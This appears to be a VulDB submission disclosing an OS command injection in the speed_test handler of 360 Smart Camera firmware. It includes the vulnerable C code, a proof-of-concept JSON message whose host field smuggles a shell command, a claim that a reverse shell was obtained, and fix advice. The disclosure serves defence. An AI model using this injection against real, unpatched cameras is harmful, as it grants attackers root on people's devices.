Submit #1023262: 360 (Qihoo 360) 360 Smart Camera (IPC) 6.3.0 ~ 6.4.9 OS Command Injectioninfo

Title360 (Qihoo 360) 360 Smart Camera (IPC) 6.3.0 ~ 6.4.9 OS Command Injection
Description# 360 Smart Camera (IPC) — OS Command Injection in the `speed_test` Push Command | | | |---|---| | **Vendor** | 360 (Qihoo 360) | | **Product** | 360 Smart Camera (IPC) | | **Component** | `fs2/bin/iscm` — `testspeed_command` | | **Affected versions** | 6.3.0 ~ 6.4.9 (incl. latest firmware) | | **Fixed version** | None | | **Affected models** | D603-2, D600-2, D606-6, D706 (MIPS); cross-arch: D618 (ARM) | | **CWE** | CWE-78 Improper Neutralization of Special Elements used in an OS Command | | **CVSS 3.1** | 7.5 — `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` | ## Summary The `speed_test` push handler reads the `host` field from an incoming JSON message and passes it, **unvalidated and unbounded**, into a shell command. Shell metacharacters reach `/bin/sh -c` unchanged, allowing arbitrary command execution as root. ## Root Cause ```c json_object_object_get(obj, "lists"); /* must contain exactly 5 items */ json_helper_get_str(item, "host", buf, 1024); /* only a non-empty check */ ... system_ex("%s %s > %s 2>&1", "ping -c 5", host, "/tmp/test_cmd.txt"); ``` The `host` value is concatenated into the command string. There is **no length limit** (1024-byte buffer) and **no character filtering**, so a full reverse-shell payload fits directly. ## Proof of Concept Push message (JSON) that reaches the vulnerable handler: ```json { "taskid": "1", "command": "speed_test", "lists": [ { "host": "; id > /tmp/poc_marker ;" }, { "host": "x" }, { "host": "x" }, { "host": "x" }, { "host": "x" } ] } ``` The resulting shell command is: ``` ping -c 5 ; id > /tmp/poc_marker ; > /tmp/test_cmd.txt 2>&1 ``` The injected segment runs. (The minimal harmless payload above only writes a marker file; a full payload fits in the 1024-byte field.) ## Evidence - Command execution output captured from the emulated device component - Reverse shell session established - Unfixed proof: `testspeed_command` is **byte-identical** between 6.3.2 and 6.4.9; the `host` handling still performs only a non-empty check ## Reproduction Executed against the vendor's publicly distributed firmware in an isolated emulation environment (no real device, no internet). A push message carrying the `speed_test` command with a crafted `host` value triggered the injected command. ## Fix Recommendation 1. Do not build shell commands from JSON fields — use `execve(argv[])`. 2. If a shell is unavoidable, strictly whitelist `host` against a hostname/IP pattern. 3. Apply the same fix to all similar handlers in the push-command framework. ## References No public advisory. PoC available on request.
Source⚠️ https://gist.github.com/gajgdm6-cpu/e8ef7f512bebb987b0119562873afd5a
User
 xiaomao (UID 100096)
Submission10/10/2026 15:26 (2 months ago)
Moderation11/03/2026 17:24 (24 days later)
StatusAccepted
VulDB entry430444 [Qihoo 360 D603-2/D600-2/D606-6/D706 up to 6.4.9 /fs2/bin/iscm testspeed_command host os command injection]
Points20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!